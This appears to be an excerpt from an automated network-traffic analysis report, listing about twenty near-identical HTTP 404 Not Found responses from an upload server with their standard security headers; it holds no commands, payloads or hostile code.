Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6xaSrhQGJ7C45JGhr4iSRwnGFFyeotzcyAm2_ZFNOGcUZasMQ1ePeTyeS8GUt0BlQqContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-GsATE1Ush8VDnI0-lNqljg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5WqrzH-iPZTlEjnXDTWu7TyS72tZNy28xrTz2JtzN-hadObIFDR7nOeXLbLfPfjclDweZMlE4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:30 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-r3eitq1jYeCaWXAZSPMktQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Fqi1WEa4vOyMmeEVhklbldU-zCzDqQFLefD4J-3jXHsEGqS0aWAZ9weZ2mspWs8nuContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:30 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-QYOnLRHkUscQmDqoGKOnXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5kOVb6EiQlqtJQDYGI0ZmvdSbNulljCgX2ZpsbiuSwJMMTy-vMpfLsrD5Hzn8xqVq2NHTkjeEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:31 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-2vVI3D0txNiowbpljG4p6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5OGUATBHgrtDcHSnYYu6lCvyUGhv2fCV21VFJ_jizsWf9ECfgEuTekPiiDXLPZBHpVs9jr4KEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:31 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-feFVvzDZNrhSDYsxHwz6nQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4EzsRKrBu9FhKt6J3CUuMh9W5cow9zHzfUe2dRlTHUuR0aqMykNB-nVo3iScPTbDHAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:33 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-5Sp1dFGG0iWXwbcPEsMLAg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4vcSrFk-P-LMPSmKHRwHzmxRA89AF0AyXwqnznfOjh8AT3Ee_HHW_jLxs981dI9kilpTgPFJoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:34 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-07XxVIQgEImtkQ3hVF_pqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6xzXpcRTWfL75zHpV14dn1NgtAKmnqxVUzYvUOU5yaN9XdBohUKZ8MB1GAXlGpLndJc7AFJdUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:35 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-t9wCgFSuqBUEmMNNfHKTIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7GjGE-49O9I31UEoaiWcLDUWizZAd9twj5mLhylU_gMbBmmK7UbVSG61ojqVU9jkopContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:35 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-q0mTk5a1OiJuqLfm70a9TA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7f2R-Ln9sxCZ1V9qdd3pGbqz3PVnqL5IjxmlIxNb0-EorCIcjgVNlaLnECtvNkq9-eE47CCFYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:36 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ilGmHQ_vIBhYqmtMzTsWyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4NCBMgi7G-4LAn1MyG1WMoMjoEXoulmAPzDROhJbf3LflGGwwW4pTHD8BcWVGtasQDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:37 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-O5s2LizMmCAOpXAAe0lsqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ruK0iiav8JQLI4WBuFj9JNUw2dfPfBaTVfXOWmUxac1FwijbaYryQi9oqDM3zC9UDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:38 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-WVeUAUrpSemWsjNN8wh0wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6D5N13Y7TGrD-5pfuNfvj9KsRSQ4iT93yn9dItJPpRKAVfEQEDvKau5W1-6ypYqGNMQZZT62oContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:38 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-JqARA-EHGD53P54Ehum3Mg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5TI44KuAiaGSVdU8lzrUV_GQXaN-2AbfZHS1yx-WeWkhzqrxRFQTWTOVf4H3NrcqqXnREaQeQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:39 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Yvx-WzZ6JZLWLh_eT4ldyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7844ZfGNrjVhaf3vU5Ju4NxlqGFYLgPgi-Yoo8hVnQNDKhQE4EYiWAx73-82k0KfhdBbpbZRYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:40 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-P5Af1yApeYDXqWoT2uCgmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5CzDo_FtB39TJzDw6GwqxirherOIsT3ADIh8yveGppJFES7smRoGhp5_AYJaTKLk2HContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:40 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-STrcSdIr9w9GSW4mlBlgCw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4mTkxQfD6slFYlKiIDa5Xp8NCaZLbQbL-MucZaIfdQkf4Aaw9ZTQh-wsTUJCCu2-CIOqevVXQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:41 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WaD2cNBNyaYOTGqI0vZVhw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7X8dyy_e1n58NecZ86QoYs_lReU4PlRbn0VnVDsgucjsCGC-vqUV3ituuLSl8ZWX0rContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:42 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-YL8pAXngCP4KnyZdAlhRNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7aNzI4yEC8CgD9aiKgj4eUucX6BK2T5aa1aMJbTjbYdL3u83z85NAJ7awCi0jtH5NbContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:42 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-drS7t90JXhtHZ3vNi3upig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC75UZipVANjR65__xWzm5r7pUD9WtlbzYZ9QCzke8_mbEV8uqmNWgy4SW_CPWddI5iUrUL9HxIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3IpjTYeT79GdBHwWzPPKLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
